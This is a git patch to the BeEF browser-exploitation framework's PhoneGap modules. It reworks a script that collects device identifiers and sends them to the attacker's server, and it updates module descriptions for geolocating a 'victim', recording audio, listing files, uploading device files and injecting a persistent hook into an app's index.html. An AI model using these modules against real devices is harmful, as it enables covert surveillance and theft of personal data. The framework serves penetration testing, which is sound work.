From 8a1a5259c0951419367ec8d447f2ea5e2f0bc1aa Mon Sep 17 00:00:00 2001 From: bcoles Date: Wed, 21 Dec 2011 23:02:45 +1030 Subject: [PATCH] Minor updates to PhoneGap modules: o Fixed bug in the Detect PhoneGap module o No longer fails to return if PhoneGap is not present o Some minor module name and description updates --- modules/phonegap/detect/command.js | 23 +++++++++++++------ modules/phonegap/detect/config.yaml | 4 ++-- modules/phonegap/detect/module.rb | 2 +- modules/phonegap/file_upload/config.yaml | 4 ++-- modules/phonegap/geo_locate/config.yaml | 4 ++-- modules/phonegap/list_files/config.yaml | 4 ++-- modules/phonegap/persistence/config.yaml | 2 +- modules/phonegap/persistence/module.rb | 21 +++++++++-------- .../phonegap/start_record_audio/config.yaml | 4 ++-- .../phonegap/stop_record_audio/config.yaml | 4 ++-- 10 files changed, 42 insertions(+), 30 deletions(-) diff --git a/modules/phonegap/detect/command.js b/modules/phonegap/detect/command.js index 7b2e87f59..4663aa619 100644 --- a/modules/phonegap/detect/command.js +++ b/modules/phonegap/detect/command.js @@ -1,12 +1,21 @@ // -// exploit phonegap +// detect phonegap // beef.execute(function() { - beef.net.send("<%= @command_url %>", <%= @command_id %>, - 'phonegap_version='+" name: " + device.name - + " phonegap api: " + device.phonegap - + " platform: " + device.platform - + " uuid: " + device.uuid - + " version: " + device.version); + var phonegap_details; + + try { + phonegap_details = "" + + " name: " + device.name + + " phonegap api: " + device.phonegap + + " platform: " + device.platform + + " uuid: " + device.uuid + + " version: " + device.version; + } catch(e) { + phonegap_details = "unable to detect phonegap"; + } + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "phonegap="+phonegap_details); + }); diff --git a/modules/phonegap/detect/config.yaml b/modules/phonegap/detect/config.yaml index b4a920b2c..77a240b2c 100644 --- a/modules/phonegap/detect/config.yaml +++ b/modules/phonegap/detect/config.yaml @@ -5,8 +5,8 @@ beef: Detect: enable: true category: "Phonegap" - name: "Detect phonegap" - description: "Detects if phonegap api is present" + name: "Detect PhoneGap" + description: "Detects if the PhoneGap API is present." authors: ["mh"] target: working: ["All"] diff --git a/modules/phonegap/detect/module.rb b/modules/phonegap/detect/module.rb index 274112c04..3e92132b9 100644 --- a/modules/phonegap/detect/module.rb +++ b/modules/phonegap/detect/module.rb @@ -5,7 +5,7 @@ class Detect < BeEF::Core::Command def post_execute content = {} - content['phonegap_version'] = @datastore['phonegap_version'] + content['phonegap'] = @datastore['phonegap'] save content end diff --git a/modules/phonegap/file_upload/config.yaml b/modules/phonegap/file_upload/config.yaml index 51eb3d568..c2df24bce 100644 --- a/modules/phonegap/file_upload/config.yaml +++ b/modules/phonegap/file_upload/config.yaml @@ -5,8 +5,8 @@ beef: File_upload: enable: true category: "Phonegap" - name: "Upload file" - description: "Upload files from device to server of your choice" + name: "Upload File" + description: "Upload files from device to a server of your choice." authors: ["mh"] target: working: ["All"] diff --git a/modules/phonegap/geo_locate/config.yaml b/modules/phonegap/geo_locate/config.yaml index 7885b1386..f46a3746d 100644 --- a/modules/phonegap/geo_locate/config.yaml +++ b/modules/phonegap/geo_locate/config.yaml @@ -5,8 +5,8 @@ beef: Geo_locate: enable: true category: "Phonegap" - name: "Geo locate" - description: "Geo locate your victim" + name: "Geolocation" + description: "Geo locate your victim." authors: ["mh"] target: working: ["All"] diff --git a/modules/phonegap/list_files/config.yaml b/modules/phonegap/list_files/config.yaml index 452f9992d..57fff5272 100644 --- a/modules/phonegap/list_files/config.yaml +++ b/modules/phonegap/list_files/config.yaml @@ -5,8 +5,8 @@ beef: List_files: enable: true category: "Phonegap" - name: "List files" - description: "Examine device file system" + name: "List Files" + description: "Examine device file system." authors: ["mh"] target: working: ["All"] diff --git a/modules/phonegap/persistence/config.yaml b/modules/phonegap/persistence/config.yaml index 6343e7d82..e7385b61f 100644 --- a/modules/phonegap/persistence/config.yaml +++ b/modules/phonegap/persistence/config.yaml @@ -6,7 +6,7 @@ beef: enable: true category: "Phonegap" name: "Persistence" - description: "Insert the beef hook into phonegap's index.html (iphone only)" + description: "Insert the BeEF hook into PhoneGap's index.html (iPhone only)" authors: ["mh"] target: working: ["All"] diff --git a/modules/phonegap/persistence/module.rb b/modules/phonegap/persistence/module.rb index f3c212d82..676869cf1 100644 --- a/modules/phonegap/persistence/module.rb +++ b/modules/phonegap/persistence/module.rb @@ -3,17 +3,20 @@ class Persistence < BeEF::Core::Command - def self.options - return [{ - 'name' => 'hook_url', - 'description' => 'The URL of your beef hook', - 'ui_label'=>'Hook URL', - 'value' => 'http://beef:3000/hook.js', - 'width' => '300px' - }] + def self.options + @configuration = BeEF::Core::Configuration.instance + beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host") + + return [{ + 'name' => 'hook_url', + 'description' => 'The URL of your BeEF hook', + 'ui_label'=>'Hook URL', + 'value' => 'http://'+beef_host+':3000/hook.js', + 'width' => '300px' + }] end - def post_execute + def post_execute content = {} content['result'] = @datastore['result'] save content diff --git a/modules/phonegap/start_record_audio/config.yaml b/modules/phonegap/start_record_audio/config.yaml index 749686b8e..4f60a89df 100644 --- a/modules/phonegap/start_record_audio/config.yaml +++ b/modules/phonegap/start_record_audio/config.yaml @@ -5,8 +5,8 @@ beef: Start_record_audio: enable: true category: "Phonegap" - name: "Start record audio" - description: "Start Record audio" + name: "Start Recording Audio" + description: "Start recording audio." authors: ["mh"] target: working: ["All"] diff --git a/modules/phonegap/stop_record_audio/config.yaml b/modules/phonegap/stop_record_audio/config.yaml index 6b612c802..d0523409a 100644 --- a/modules/phonegap/stop_record_audio/config.yaml +++ b/modules/phonegap/stop_record_audio/config.yaml @@ -5,8 +5,8 @@ beef: Stop_record_audio: enable: true category: "Phonegap" - name: "Stop record audio" - description: "Stop Record audio" + name: "Stop Recording Audio" + description: "Stop recording audio." authors: ["mh"] target: working: ["All"]